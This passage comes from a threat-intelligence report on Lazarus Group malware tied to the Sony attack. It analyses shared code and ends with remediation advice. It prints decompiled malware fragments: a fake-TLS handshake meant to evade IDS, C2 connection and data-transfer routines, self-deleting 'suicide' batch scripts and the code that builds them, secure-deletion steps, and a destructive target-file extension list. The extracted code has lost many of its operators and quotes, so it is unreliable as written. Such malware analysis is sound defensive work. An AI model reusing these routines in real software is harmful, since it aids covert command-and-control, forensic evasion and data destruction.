When the developer builds a library for network interaction and uses the library in multiple malware families, analysts can easily identify related families based on the code reuse.
The developer(s) of the Lazarus Groups malware routinely use network routines and techniques across multiple families within the Lazarus Groups malware collective.
This section explores several of the more prominent techniques the developer(s) used in the Lazarus Group malware families.
Operation Blockbuster: Unraveling the Long Thread of the Sony Attack 36 4.3.3.1  Fake TLS Communication Several of the families within the Lazarus Groups arsenal employ a rather unique form of communication encryption that mimics TLS communication but ultimately uses a completely different encryption method.
This type of communication has the advantage of appearing to be legitimate TLS traffic, thereby evading many network-based IDS detections and at the same time protecting against SSL man-in-the-middle decryption attacks that would reveal the contents of the encrypted communication.
The fake TLS communication begins when a sample opens a socket between the itself and its corresponding C2 server, and the client side of the channel sends a TLS ClientHello packet.
The basic format of a TLS ClientHello packet is as follows: struct ProtocolVersion client _ version Random random SessionID session _ id CipherSuite cipher _ suites2..216-2 CompressionMethod compression _ methods1..28-1 select (extensions _ present) case false: struct case true: Extension extensions0..216-1  ClientHello Figure 6-10: RFC 5246 Definition of the ClientHello Packet The ClientHello packet will vary for each communication but will contain some common characteristics.
When constructing the ClientHello packet, the Trojan probabilistically determine which sections to include and the values of those sections, with the exceptions of the client _ version field, which is static at TLS 1.0 (0x301), and the compression _ methods field, which is set to empty.
The Trojan fills the random field with a 32-byte random value generated using the rand API function.
The first four bytes of the field are replaced with the current time as supplied by the time API function.
The session _ id field will only appear if the value of fIncludeSessionIDTest2 is non-zero as defined by the following section of code: fIncludeSessionIDTest1  rand()  0x80000007 fIncludeSessionIDTest2  fIncludeSessionIDTest1  0 if ( (fIncludeSessionIDTest1  0x80000000)  0 ) fIncludeSessionIDTest2  ((( _ BYTE)fIncludeSessionIDTest1  1)  0xFFFFFFF8)  -1 If the session _ id field is included in the ClientHello, the value is filled with a 32-byte randomly generated value, again using the rand API function.
The cipher _ suite value is always present and is one of four predefined values.
To determine which of the predefined suite sets to use, the fake TLS scheme will again rely on the rand API function.
Assuming the PRNG of rand is suitably random, this means that there is a 25 chance for any particular cipher suite being selected.
Table 6-1 below provides the possible cipher suites that the fake TLS scheme uses.
Operation Blockbuster: Unraveling the Long Thread of the Sony Attack 37 SUITE SUITE 2 (12 Entries) (11 Entries) TLS _ RSA _ WITH _ AES _ 128 _ CBC _ SHA TLS _ RSA _ WITH _ AES _ 256 _ CBC _ SHA TLS _ RSA _ WITH _ RC4 _ 128 _ SHA TLS _ RSA _ WITH _ 3DES _ EDE _ CBC _ SHA TLS _ ECDHE _ RSA _ WITH _ AES _ 128 _ CBC _ SHA TLS _ ECDHE _ RSA _ WITH _ AES _ 256 _ CBC _ SHA TLS _ ECDHE _ ECDSA _ WITH _ AES _ 128 _ CBC _ SHA TLS _ ECDHE _ ECDSA _ WITH _ AES _ 256 _ CBC _ SHA TLS _ DHE _ DSS _ WITH _ AES _ 128 _ CBC _ SHA TLS _ DHE _ DSS _ WITH _ AES _ 256 _ CBC _ SHA TLS _ DHE _ DSS _ WITH _ 3DES _ EDE _ CBC _ SHA TLS _ RSA _ WITH _ RC4 _ 128 _ MD5 TLS _ RSA _ WITH _ RC4 _ 128 _ MD5 TLS _ RSA _ WITH _ RC4 _ 128 _ SHA TLS _ RSA _ WITH _ 3DES _ EDE _ CBC _ SHA TLS _ RSA _ WITH _ DES _ CBC _ SHA TLS _ RSA _ EXPORT1024 _ WITH _ RC4 _ 56 _ SHA TLS _ RSA _ EXPORT1024 _ WITH _ DES _ CBC _ SHA TLS _ RSA _ EXPORT _ WITH _ RC4 _ 40 _ MD5 TLS _ RSA _ EXPORT _ WITH _ RC2 _ CBC _ 40 _ MD5 TLS _ DHE _ DSS _ WITH _ 3DES _ EDE _ CBC _ SHA TLS _ DHE _ DSS _ WITH _ DES _ CBC _ SHA TLS _ DHE _ DSS _ EXPORT1024 _ WITH _ DES _ CBC _ SHA SUITE 3 SUITE 4 (36 Entries) (36 Entries) TLS _ EMPTY _ RENEGOTIATION _ INFO _ SCSV TLS _ ECDHE _ ECDSA _ WITH _ AES _ 256 _ CBC _ SHA TLS _ ECDHE _ RSA _ WITH _ AES _ 256 _ CBC _ SHA TLS _ DHE _ RSA _ WITH _ CAMELLIA _ 256 _ CBC _ SHA TLS _ DHE _ DSS _ WITH _ CAMELLIA _ 256 _ CBC _ SHA TLS _ DHE _ RSA _ WITH _ AES _ 256 _ CBC _ SHA TLS _ DHE _ DSS _ WITH _ AES _ 256 _ CBC _ SHA TLS _ ECDH _ RSA _ WITH _ AES _ 256 _ CBC _ SHA TLS _ ECDH _ ECDSA _ WITH _ AES _ 256 _ CBC _ SHA TLS _ RSA _ WITH _ CAMELLIA _ 256 _ CBC _ SHA TLS _ RSA _ WITH _ AES _ 256 _ CBC _ SHA TLS _ ECDHE _ ECDSA _ WITH _ RC4 _ 128 _ SHA TLS _ ECDHE _ ECDSA _ WITH _ AES _ 128 _ CBC _ SHA TLS _ ECDHE _ RSA _ WITH _ RC4 _ 128 _ SHA TLS _ ECDHE _ RSA _ WITH _ AES _ 128 _ CBC _ SHA TLS _ DHE _ RSA _ WITH _ CAMELLIA _ 128 _ CBC _ SHA TLS _ DHE _ DSS _ WITH _ CAMELLIA _ 128 _ CBC _ SHA TLS _ DHE _ RSA _ WITH _ AES _ 128 _ CBC _ SHA TLS _ DHE _ DSS _ WITH _ AES _ 128 _ CBC _ SHA TLS _ ECDH _ RSA _ WITH _ RC4 _ 128 _ SHA TLS _ ECDH _ RSA _ WITH _ AES _ 128 _ CBC _ SHA TLS _ ECDH _ ECDSA _ WITH _ RC4 _ 128 _ SHA TLS _ ECDH _ ECDSA _ WITH _ AES _ 128 _ CBC _ SHA TLS _ RSA _ WITH _ SEED _ CBC _ SHA TLS _ RSA _ WITH _ CAMELLIA _ 128 _ CBC _ SHA TLS _ RSA _ WITH _ RC4 _ 128 _ SHA TLS _ RSA _ WITH _ RC4 _ 128 _ MD5 TLS _ RSA _ WITH _ AES _ 128 _ CBC _ SHA TLS _ ECDHE _ ECDSA _ WITH _ 3DES _ EDE _ CBC _ SHA TLS _ ECDHE _ RSA _ WITH _ 3DES _ EDE _ CBC _ SHA TLS _ DHE _ RSA _ WITH _ 3DES _ EDE _ CBC _ SHA TLS _ DHE _ DSS _ WITH _ 3DES _ EDE _ CBC _ SHA TLS _ ECDH _ RSA _ WITH _ 3DES _ EDE _ CBC _ SHA TLS _ ECDH _ ECDSA _ WITH _ 3DES _ EDE _ CBC _ SHA SSL _ RSA _ FIPS _ WITH _ 3DES _ EDE _ CBC _ SHA TLS _ RSA _ WITH _ 3DES _ EDE _ CBC _ SHA TLS _ ECDHE _ ECDSA _ WITH _ AES _ 256 _ CBC _ SHA TLS _ ECDHE _ RSA _ WITH _ AES _ 256 _ CBC _ SHA TLS _ DHE _ RSA _ WITH _ CAMELLIA _ 256 _ CBC _ SHA TLS _ DHE _ DSS _ WITH _ CAMELLIA _ 256 _ CBC _ SHA TLS _ DHE _ RSA _ WITH _ AES _ 256 _ CBC _ SHA TLS _ DHE _ DSS _ WITH _ AES _ 256 _ CBC _ SHA TLS _ ECDH _ RSA _ WITH _ AES _ 256 _ CBC _ SHA TLS _ ECDH _ ECDSA _ WITH _ AES _ 256 _ CBC _ SHA TLS _ RSA _ WITH _ CAMELLIA _ 256 _ CBC _ SHA TLS _ RSA _ WITH _ AES _ 256 _ CBC _ SHA TLS _ ECDHE _ ECDSA _ WITH _ RC4 _ 128 _ SHA TLS _ ECDHE _ ECDSA _ WITH _ AES _ 128 _ CBC _ SHA TLS _ ECDHE _ RSA _ WITH _ RC4 _ 128 _ SHA TLS _ ECDHE _ RSA _ WITH _ AES _ 128 _ CBC _ SHA TLS _ DHE _ RSA _ WITH _ CAMELLIA _ 128 _ CBC _ SHA TLS _ DHE _ DSS _ WITH _ CAMELLIA _ 128 _ CBC _ SHA TLS _ DHE _ DSS _ WITH _ RC4 _ 128 _ SHA TLS _ DHE _ RSA _ WITH _ AES _ 128 _ CBC _ SHA TLS _ DHE _ DSS _ WITH _ AES _ 128 _ CBC _ SHA TLS _ ECDH _ RSA _ WITH _ RC4 _ 128 _ SHA TLS _ ECDH _ RSA _ WITH _ AES _ 128 _ CBC _ SHA TLS _ ECDH _ ECDSA _ WITH _ RC4 _ 128 _ SHA TLS _ ECDH _ ECDSA _ WITH _ AES _ 128 _ CBC _ SHA TLS _ RSA _ WITH _ SEED _ CBC _ SHA TLS _ RSA _ WITH _ CAMELLIA _ 128 _ CBC _ SHA TLS _ RSA _ WITH _ RC4 _ 128 _ SHA TLS _ RSA _ WITH _ RC4 _ 128 _ MD5 TLS _ RSA _ WITH _ AES _ 128 _ CBC _ SHA TLS _ ECDHE _ ECDSA _ WITH _ 3DES _ EDE _ CBC _ SHA TLS _ ECDHE _ RSA _ WITH _ 3DES _ EDE _ CBC _ SHA TLS _ DHE _ RSA _ WITH _ 3DES _ EDE _ CBC _ SHA TLS _ DHE _ DSS _ WITH _ 3DES _ EDE _ CBC _ SHA TLS _ ECDH _ RSA _ WITH _ 3DES _ EDE _ CBC _ SHA TLS _ ECDH _ ECDSA _ WITH _ 3DES _ EDE _ CBC _ SHA SSL _ RSA _ FIPS _ WITH _ 3DES _ EDE _ CBC _ SHA TLS _ RSA _ WITH _ 3DES _ EDE _ CBC _ SHA Table 6-1: Fake TLS Schemes Predfined Cipher Suites The extensions field provides the area of the greatest variability within a ClientHello packet generated as part of the fake TLS communication scheme.
The Trojan may include zero or more of the following extensions (in order): Operation Blockbuster: Unraveling the Long Thread of the Sony Attack 38 The extensions field provides the area of the greatest variability within a ClientHello packet generated as part of the fake TLS communication scheme.
The Trojan may include zero or more of the following extensions (in order): renegotiation _ info (80 probability) server _ name (80 probability) status _ request (80 probability) ellipic _ curves with ec _ point _ formats (80 probability) SessionTicket TLS (10 probability) next _ protocol _ negotiation (10 probability) The renegotiation _ info, SessionTicket TLS and next _ protocol _ negotiation extensions all have a 0 byte length, thereby remaining static in their values.
The server _ name extension will use either www.amazon.com or www.google.com as the name of the server to which the TLS client appears to be connecting for the majoriy of the Lazarus Groups Trojans that employ the fake TLS scheme (there is a 50 probability of either domain name being choose by the Trojan).
A smaller number of Trojans that employ the fake TLS communication scheme can have up to 34 domain names to choose from.
Table 6-2 identifies the list of hardcoded domains found in various families within the Lazarus Groups collection for use in the server _ name extension.
Note that not all family members contain all domain names.
accounts.google.com apps.skypeassets.com b.stats.ebay.com daw.apple.com extended-validation-ssl.verisign.com fls-na.amazon.com images-na.ssl-images-amazon.com login.live.com login.skype.com login.yahoo.com s.imp.microsoft.com s1-s.licdn.com sc.imp.live.com secure.logmein.com secure.shared.live.com secure.skype.com secure.skypeassets.com secureir.ebaystatic.com securemetrics.apple.com signin.ebay.com skydrive.live.com ssl.google-analytics.com ssl.gstatic.com sstats.adobe.com startpage.com support.msn.com support.oracle.com supportprofile.apple.com urs.microsoft.com verify.adobe.com www.adobetag.com www.apple.com www.amazon.com www.google.com Table 6-2: Observed server _ name Field Values The status _ request extension will, if present, always have the Certificate Status Type field set to OCSP (1).
Table 6-3 lists the possible sets that the fake TLS scheme may apply to the  elliptic _ curves field.
ELLIPTICAL CURVE SET 1 (3 CURVES) ELLIPTICAL CURVE SET 2 (4 CURVES) SECT193R1 SECP256R1 SECP384R1 SECT233K1 SECP256R1 SECP384R1 SECP512R1 Table 6-3: The Fake TLS Schemes Possible elliptic _ curves Sets Operation Blockbuster: Unraveling the Long Thread of the Sony Attack 39 If the elliptic _ curves extension is present, it is always followed by the ec _ point _ formats extension which defines a single format of uncompressed (0).
The probability of either elliptical curve set being used is defined by the same random selection algorithm used when determining if the session _ id field will occur within the ClientHello.
After the client side of the communication sends the ClientHello packet, the client expects the next data received from the server to be a ServerHello packet.
If the data that arrives from the server is not a ServerHello, the connection terminates.
The ServerHello response may or may not have a session _ id field, but the contents of this field are irrelevant to the client.
The client will process the ServerHello packet only far enough to extract the selected cipher suite and then reads and disregards any incoming packets until the server sends the ServerHelloDone packet (up to 8 server packets).
After receiving the ServerHelloDone packet, the connection between the client and the server is complete.
Further communication is encapsulated in what appears to be a legitimate TLS frame.
The header for every datagram transmitted between the client and server (and vice versa) consists of a 5-byte header that specifies the type of datagram (typically set to 22), the TLS version (set to 0x0301), and the number of bytes within the datagram.
Following the TLS frame header, the payload bytes are transmitted.
The payload contains the data encrypted using the Caracachs encryption scheme (see Section 6.1.1).
4.3.3.2  C2 Connections Several of the malware families under the Lazarus Group umbrella use a common function for connecting to a C2 server.
While most malware that uses the Winsock API will use socket and connect to open a socket between two end points, what makes the C2 server connection function identifiable is the method by which the authors generate and test the connection (Figure 6-11).
int ConnectToHost(int dwIP, u _ short wPort, signed int dwTimeout)  _ _ int32 actualTimeout // edi3 SOCKET s // esi6 u _ long argp // [sp44h] [bp-120h]1 struct timeval timeout // [sp48h] [bp-11Ch]8 sockaddr _ in endpt // [sp50h] [bp-114h]6 fd _ set writefds // [sp60h] [bp-104h]8 argp  1 if ( wPort  dwIP )  actualTimeout  dwTimeout if ( dwTimeout  0  dwTimeout  60 ) actualTimeout  10 endpt.sin _ family  2 endpt.sin _ addr.
S _ un.
S _ addr  dwIP endpt.sin _ port  htons(wPort) s  socket(2, 1, 0) if ( s  -1  ioctlsocket(s, 0x8004667E, argp)  -1 )// disable blocking  connect(s, (const struct sockaddr )endpt, 16) writefds.fd _ array[0]  s writefds.fd _ count  1 timeout.tv _ sec  actualTimeout timeout.tv _ usec  0 if ( select(s  1, 0, writefds, 0, timeout)  0  _ WSAFDIsSet(s, writefds) )  argp  0 ioctlsocket(s, 0x8004667E, argp)      // enable blocking return s  closesocket(s)   return -1  Figure 6-11: Common C2 Server Connection Function found in Lazarus Group Families Operation Blockbuster: Unraveling the Long Thread of the Sony Attack 40 The authors perform the standard procedure of generating a virtual circuit between two end points by calling the socket API function to generate a socket object.
Next the authors disable socket read blocking by calling ioctlsocket with the value 0x8004667E.
The code then proceeds to call connect to establish a virtual circuit between the Trojan and the C2 server.
In order to test the validity of the channel, the code will call select followed by _ WSAFDIsSet to determine if the Trojan can send data through the socket.
If the socket is viable, read blocking is re-enabled via an ioctlsocket call, and the socket is returned to the caller of the function.
4.3.3.3  Socket Disconnect Many of the RATs employed by the Lazarus Group have a unique method for closing active network socket connections.
A typical solution to terminate a connection between two end points is to simply call the closesocket API function, which abruptly closes a socket channel.
The authors responsible for the Lazarus Groups malware take a slightly more aggressive approach, however.
The general form for disconnecting a socket employed by the Lazarus Groups malware consists of sending a WORD (2 byte) or DWORD (4 byte) value, usually equal to 0x0001 or 0x00000001, to the other receiving end of the socket followed by calling the shutdown API function which instructs the WinSock API to close both directions of communication.
The final step in terminating a socket connection is the call to closesocket.
There are slight variations on this method exist where setsockopt is called to allow for lingering sockets or where a different DWORD value is transmitted to the receiving end, but the basic pattern of send/shutdown/closesocket remains consistent.
Below are several example variations.
int _ _ cdecl SendErrorAndCloseSocket(int skt)  if ( skt  -1 )  return -1  int v5  1 int val  0x10001 setsockopt(skt, SOL _ SOCKET, SO _ LINGER, (const char )val, 4) send(s, (const char )v5, 2, 0) shutdown(skt, 2) closesocket(skt) return 0  int _ _ thiscall FlushAndShutdownSocket(void pfSuccess, SOCKET s)  DWORD buf  0 char optval[4] strcpy(optval, \x01) setsockopt(s, 0xFFFF, SO _ LINGER, optval, 4) send(s, buf, 4, 0) shutdown(s, 2) result  closesocket(s) pfSuccess  0 return result  int _ _ cdecl ShutdownConnection(SOCKET s)  _ _ int16 v2  1 int v4  0x26380B setsockopt(a1, 0xFFFF, 128, (const char )v2, 4) send(s, (const char )v4, 4, 0) shutdown(s, 2) return closesocket(s)  Figure 6-12: Common Forms of the Lazarus Groups Connection Disconnect Functions Operation Blockbuster: Unraveling the Long Thread of the Sony Attack 41 4.3.3.4  Common Network Data Transmission and Receiving Function The Lazarus Group uses a common structure for transmitting and receiving data over the network.
For network communication that uses encryption, the developer(s) of the Lazarus Groups malware abstracts the data shuttling functionality that takes the burden of managing the encryption component of the communication channel off of the core code.
The use of such a design pattern, a pattern that has been observed used more and more as the code within the Lazarus Groups code has matured, indicates a level of attention to modularity in design.
The design pattern used for the transmission of data to a remote end point takes the form seen in Figure 6-13.
The prototype for the transmission function is consistent across a larger number of the malware families, with the first parameter being the socket, the second and third parameters defining the location and size of the data to transmit, and the final argument being a flag to encrypt the transmission (if non-zero).
int SendData(SOCKET skt, void pvData, int dwSize, int fEncrypt)  int dwXmitted int dwBytesSent  0 unsigned char p  pvData if ( fEncrypt )  / Family specific encoding scheme /  if ( dwSize  0 ) return 1 while ( 1 )  dwXmitted  send(skt, pvData[dwBytesSent], dwSize  dwBytesSent, 0) if ( dwXmitted  0 ) break dwBytesSent  dwXmitted if ( dwBytesSent  dwSize ) return 1  return 0  Figure 6-13: Common Form for Network Data Transmission with Encryption The exact encryption scheme used varies from family to family.
Regardless, the overall pattern remains the same with very few exceptions across the entirety of the Lazarus Groups collection.
There are two main reciprocal functions for receiving data from the network as Figure 6-14 and Figure 6-15 illustrate.
The design pattern for the receiving of potentially encrypted data consists of reading the data from the network until the specified number of bytes has been received (or a timeout occurs, in the case of RecvDataEx variants) and if the decrypt flag is set to non-zero, apply the family-specific decryption scheme to the buffer.
Operation Blockbuster: Unraveling the Long Thread of the Sony Attack 42 int RecvData(SOCKET skt, void pvData, int dwLength, int fDecrypt)  int dwBytesRead  0 if (skt  -1 ) return 0 int dwBytesRemaining  dwLength if ( dwLength  0 )  do  int dwBytesRecv  recv(skt, pvData[dwBytesRead], dwLength  dwBytesRead, 0) if ( dwBytesRecv  0 ) return 0 dwBytesRead  dwBytesRecv  while ( dwBytesRead  dwLength )  if ( fDecrypt  dwLength  0 )  / Family specific decoding scheme /  return 1  Figure 6-14: Common Form for Receiving Network Data with Encryption Operation Blockbuster: Unraveling the Long Thread of the Sony Attack 43 int RecvDataEx (SOCKET skt, void pvData, int dwSize, int fDecode, int timeout)  int dwBytesRemaining // edi1 _ BYTE p // ecx1 int dwBytesRead // esi1 int dwBytesRecv // eax3 int v8 // eax8 signed int result // eax12 int dwBytesRemaining  dwSize int dwBytesRead  0 if ( dwSize  0 )  while ( WaitForRead(skt, timeout) )  int dwBytesRecv  recv(skt, pvData[dwBytesRead], dwSize  dwBytesRead, 0) if ( dwBytesRecv  0 ) break dwBytesRead  dwBytesRecv if ( dwBytesRead  dwSize )  if ( fDecode  dwSize  0 )  / Family specific decoding scheme /  return 1    return 0  Figure 6-15: Common Form for Receiving Network Data with Encryption and Receive Timeout The abstraction of the network data shuttling has the added benefit of allowing a malware family to use the same function call regardless of the underlying data format, encrypted or cleartext.
The use of this behavior is found in several Lazarus Group families when the initial handshake to establish an encrypted channel requires sending cleartext followed by a switch to an encrypted mode after the handshake has been established.
When such a use case occurs, the same send and receive abstract functions can be used, but their encrypted/decrypted mode flags will be the only change the programmers of the core code must concern themselves with.
Operation Blockbuster: Unraveling the Long Thread of the Sony Attack 44 4.3.3.5  Suicide Scripts A suicide script is a method by which a running executable can ensure, upon termination, that its presence is removed from a host system.
As running executable are locked by Windows, it is necessary for malware binaries to deploy suicide scripts in order to remove themselves from a victims machine.
The typical suicide script consists of a Windows batch file that enters an infinite loop attempting to delete the source executable over and over until it is finally successful (after the running program terminates).
While many unrelated malware families use suicide scripts, there are times when a suicide script can give away a common author or library.
This is the case with the Lazarus Groups suicide scripts.
Novetta has observed five distinct suicide scripts that span across multiple malware families attributed to the Lazarus Group.
These observed suicide scripts largely follow the same pattern: a short label (a single letter with an option single number), a file deletion attempt, a file check, a conditional loop, and finally a file delete to remove the suicide script.
:
L1 del source binary filename if exist source binary filename goto L1 del suicide script filename echo off :R1 del /a source binary filename if exist source binary filename goto R1 del /a suicide filename :R IF NOT EXIST source binary filename GOTO E del /a source binary filename GOTO R :E del /a d.bat :Hello del /a source binary filename if exist source binary filename goto Hello del /a suicide filename echo off :D1 del /a source binary filename if exist 1 goto D1 del /a suicide filename echo off :Loop del /a H source binary filename if exists  goto Loop del suicide filename :Repeat1 del source binary filename if exist source binary filename goto Repeat1 del suicide script filename Figure 6-16: Suicide Script Forms Found within Lazarus Group Families A common design pattern for generating many of the suicide scripts is to construct each line one at a time.
When decompiled in Hex-rays, a typical suicide script construction function takes the following form: Operation Blockbuster: Unraveling the Long Thread of the Sony Attack 45 strcat(szSuicideScriptFilename, PM0D4.bat) fp  fopen(szSuicideScriptFilename, wb) fprintf(fp, :Repeat1\r\n) fprintf(fp, del \s\\r\n, szSourceFileName) fprintf(fp, if exist \s\ goto Repeat1\r\n, pszSourceFileName) fprintf(fp, del \s\\r\n, szSuicideScriptFilename) fclose(fp) or strcpy(szScript, echo off\r\n) strcpy(szScript, :Loop\r\ndel /a H \) strcat(szScript, szSourceFileName) strcat(szScript, \\r\nif exist \) strcat(szScript, szSourceFileName) strcat(szScript, \ goto Loop\r\ndel \) strcat(szScript, szSuicideScriptFilename) strcat(szScript, \) WriteFile(fp, szScript, strlen(szScript), NumberOfBytesWritten, 0) CloseHandle(fp) The other design pattern for generating suicide scripts is a more streamlined approach in which the entire content of the suicide script is constructed and then written to file as follows: fp  fopen(Buffer, wt) if ( fp )  fprintf(fp, :L1\r\ndel \s\\r\nif exist \s\ goto L1\r\ndel \s\\r\n, szSourceFileName, szSourceFileName, szSuicideScriptFilename) fclose(fp) Operation Blockbuster: Unraveling the Long Thread of the Sony Attack 46 4.3.4  Directory Hierarchy Verification and Generation From time to time it is necessary to verify the existence of a particular file path and, if the path fails to exist, create the file path.
The Lazarus Group uses a specific function for this task in several of its family members.
What makes the code distinguishable is the fact that the function will take a files full path (e.g.
C:\temp\folder1\folder2\malware.exe) and traverse the entire path.
At each level of the directory hierarchy, the code will ensure that the directory exists.
At the same time, the code allows the caller of the function to specify if the highest level of the hierarchy is a directory name or a filename.
The ability to allow the caller to specify this means the function was originally designed to accommodate both file paths and directory paths.
The function that the Lazarus Group uses for ensure a directory hierarchy is as follows: void GenerateDirectoryPath(char pszPath, int fLastEntryIsDir)  char p const char pn char v4 char v5 char szDirPath[260] if ( pszPath)  p  strchr(pszPath, \\) pn  p  1 if ( p  (char )-1  strchr(pn, \\) )  do  memset(szDirPath, 0, 260) v4  strchr(pn, \\) strncpy(szDirPath, pszPath, v4  szDirPath) v5  strchr(pn, \\) pn  v5  1 if ( v5  (char )-1 ) break if ( GetFileAttributesA(szDirPath)  -1 ) CreateDirectoryA(szDirPath, 0)  while ( strchr(pn, \\) )  if ( fLastEntryIsDir ) CreateDirectoryA(pszPath, 0)   The traversal function begins at the first directory separator (the backslash) and verifies that the path up to that particular point exists by calling GetFileAttributesA to determine if the path if valid or not.
If the path to that point is not valid, CreateDirectoryA is called to generate the folder.
The process is repeated for each of the additional directories in the path until the final directory separator character is found.
If the fLastEntryIsDir flag is set to non-zero by the caller, then the full path is supplied to CreateDirectoryA to attempt to create the final directory.
This call will fail, however, if the directory already exists or a file with the same name exists, but the result of this behavior is ignored by the function.
Operation Blockbuster: Unraveling the Long Thread of the Sony Attack 47 4.3.5  Secure File Delete The Lazarus Group goes to great lengths to destroy content, not only in their destructive malware but also in their RATs and installers as well.
Securely deleting a file (or files) from a victims machine has practical applications when viewed from the perspective of forensic recovery.
When a file is deleted using standard operating system deletion functions, the files contents remain on the hard drive but the files space is marked as available.
For a recently deleted file, a forensic analysis has a high probability of recovering the original file.
A secure deletion function, however, not only deletes the file by marking the space available, but it also overwrites the data on the disk in order to destroy the content.
Many of the families within the Lazarus Groups collection use a similar methodology for the destruction of files on a victims computer.
While there are variations on a theme when it comes to destroying files, the most common method that the Lazarus Group employs to ensure a file is securely deleted is as follows: 1.
Generate a buffer of random data 2.
Overwrite the targeted file with the random data until the entirety of the file has been replaced 3.
Rename the file with random letters (replacing each letter in the filename, without adding additional letters) 4.
Delete the file Some variations observed in Lazarus Group families include replacing the file name with TMPnumber.tmp and changing the size of the file (via _ chsize or SetEndOfFile) to 0.
4.3.6  Target File Identification BOOL IsTargetFileExtension(wchar _ t Str1)  return Str1 (wcsnicmp(Str1, L.doc, 4u) wcsnicmp(Str1, L.docx, 5u) wcsnicmp(Str1, L.docm, 4u) wcsnicmp(Str1, L.wpd, 4u) wcsnicmp(Str1, L.wpx, 4u) wcsnicmp(Str1, L.wri, 4u) wcsnicmp(Str1, L.xls, 4u) wcsnicmp(Str1, L.xlsx, 5u) wcsnicmp(Str1, L.mdb, 4u) wcsnicmp(Str1, L.ppt, 4u) wcsnicmp(Str1, L.pptx, 5u) wcsnicmp(Str1, L.pdf, 4u) wcsnicmp(Str1, L.hwp, 4u) wcsnicmp(Str1, L.hwp, 4u) wcsnicmp(Str1, L.hna, 4u) wcsnicmp(Str1, L.gul, 4u) wcsnicmp(Str1, L.kwp, 4u) wcsnicmp(Str1, L.eml, 4u) wcsnicmp(Str1, L.pst, 4u) wcsnicmp(Str1, L.alz, 4u) wcsnicmp(Str1, L.gho, 4u) wcsnicmp(Str1, L.rar, 4u) wcsnicmp(Str1, L.php, 4u) wcsnicmp(Str1, L.asp, 4u) wcsnicmp(Str1, L.aspx, 5u) wcsnicmp(Str1, L.jsp, 4u) wcsnicmp(Str1, L.java, 4u) wcsnicmp(Str1, L.cpp, 5u) wcsnicmp(Str1, L.h, 5u) wcsnicmp(Str1, L.c, 5u) wcsnicmp(Str1, L.zip, 4u))  Several of the destructive malware samples identified during Operation Blockbuster use a common function to identify target files by their extension.
The function is straightforward in its operation: it takes a single wide character string (wchar _ t) and performs a series of string compares to determine if the supplied string matches any of the targeted file extensions.
While this may not seem like a particularly strong artifact to tie together multiple malware families, the function has two distinct characteristics that make it a suitable artifact for cross-family correlation, both shown in the source code in Figure 6-17.
First, the order of the extensions is constant.
Second, the function has a typo where the file extension .hwp is checked for twice in a row.
Figure 6-17: Common Target File Extension Identification Function with Duplicate Entries for .hwp Operation Blockbuster: Unraveling the Long Thread of the Sony Attack 48 5.
Conclusion Using the hashes of the malware used in the November 2014 SPE attack, Novetta was able to identify more than 45 malware families due to shared code, encryption keys, and other features across a diverse set of tools.
This set of malware has been attributed to a threat actor we have dubbed the Lazarus Group.
The Lazarus Groups malware variants have been under active development since at least 2009 and can be tied to publicly related attacks as early as 2007.
Despite the fact that many of the malware variants are not as sophisticated as many tools attributed to other APT groups, the corpus of malware used by the Lazarus Group is extremely effective and, in multiple cases, responsible for targeted cyber espionage, data theft, and destructive attacks.
Notably, as the attack against SPE and other targets have shown, efficient, long-term, and destructive cyber attacks can be orchestrated and executed by this group.
C H A P T E R Five Operation Blockbuster: Unraveling the Long Thread of the Sony Attack 49Operation Blockbuster: Unraveling the Long Thread of the Sony Attack 49 5.
Conclusion (continued) In Operation Blockbuster, Novetta and industry partners have begun working together to understand and devise ways to degrade the Lazarus Groups malware toolset, eroding the groups ability to use these tools for further harm.
While no effort can completely halt malicious operations, Novetta believes that these efforts can help cause significant disruption and raise operating costs for adversaries, in addition to profiling groups that have relied on secrecy for much of their success.
It is our hope that private industry will not only continue to illuminate various threat actors toolsets and operations, but also work with other industry partners and law enforcement agencies as able to affect positive change on the safety of network environments worldwide.
5.1  Remediation Suggestions Given the nature of the Lazarus Groups tool set and its well-resourced operations, this section of the report is not intended to provide in-depth remediation suggestions for every possible scenario and environment.
Rather, we highlight general methods that can be of use to organizations who are concerned about mitigating these types of general threats.
For organizations who feel like their own internal cyber security capabilities are immature or non-existent, Mitre has released a high quality book on this topic60 for public consumption.
With the help of operation partners, Novetta has pushed AV, IDS and YARA signatures to identify associated Lazarus Group tools and traffic.
In addition to checking against these signatures, an up-to-date antivirus tool reporting to a central, monitored location is highly recommended.
Other freely available tools, such as Microsofts EMET, are also valuable defensive measures in conjunction with following suggestions for securing endpoints, servers, and network infrastructure.
On top of the provided signature-based detections, scrutinizing network traffic, and storing raw network traffic (i.e., pcap) for as long as is economically feasible can function as a tremendous aid in the investigation of alerts or identification of anomalous or malicious traffic.
When considering the SPE attack, there is clear evidence to suggest that the attackers had access to corporate networks and were exfiltrating data long before the destructive malware was downloaded and executed.
Network segregation, i.e., preventing workstations from talking to each other, could also help mitigate attacks malware used by the Lazarus Group takes advantage of such configurations between machines for lateral movement to spread within the network, deploying malware that spreads via P2P or via SMB bruteforcing using built-in Windows shares.
Similarly, remote access to machines should be restricted and only allowed on a case-by-case basis where needed.
Administrator-level permissions should also be restricted, as attackers with an initial foothold into a system can use or elevate to administrator privileges to gain access to entire networks.
Wherever possible, two-factor authentication is strongly recommended as well as proper ageing of account passwords and strong password complexity requirements and associated testing.
Like many other attackers, the Lazarus Group appears to rely on social engineering as an initial attack vector.
Educating employees as to the dangers of spear phishing both in email as well as a its use in a social media context is crucially important, as an attacker can easily gain access to sensitive information that can be used to social engineer remote access 60  Ten Strategies of a World-Class Cybersecurity Operations Center.
MITRE.
2014.
https://www.mitre.org/sites/default/files/publications/pr-13-1028-mitre-10-strategies-cyber-ops-center.pdf Operation Blockbuster: Unraveling the Long Thread of the Sony Attack 50 or in the worst case gain direct remote access to a target network.
One way to attempt to minimize these types of attacks is to ensure that end users are applying software updates and patches to their home machines prior to connecting via VPN, as well as mount internal awareness campaigns that promote patching as well as suspicion of links and files sent via social media.
In addition to the above steps, regular backups of servers are recommended including continual testing and verification of your backup process and DRP plans can aid in recovery from failures or DDoS attacks.
Furthermore, as the Lazarus Group does not solely concentrate on destructive attacks, but also cyber espionage and data theft, encryption of sensitive data, including emails, is highly recommended.
It is worth noting that automated solutions, tools, and other procedures outlined above and elsewhere are no substitute for having a well-funded and dedicated security team.
As breaches have become the new normal, with increasing fallout, a thorough security policy and empowered team is necessary.
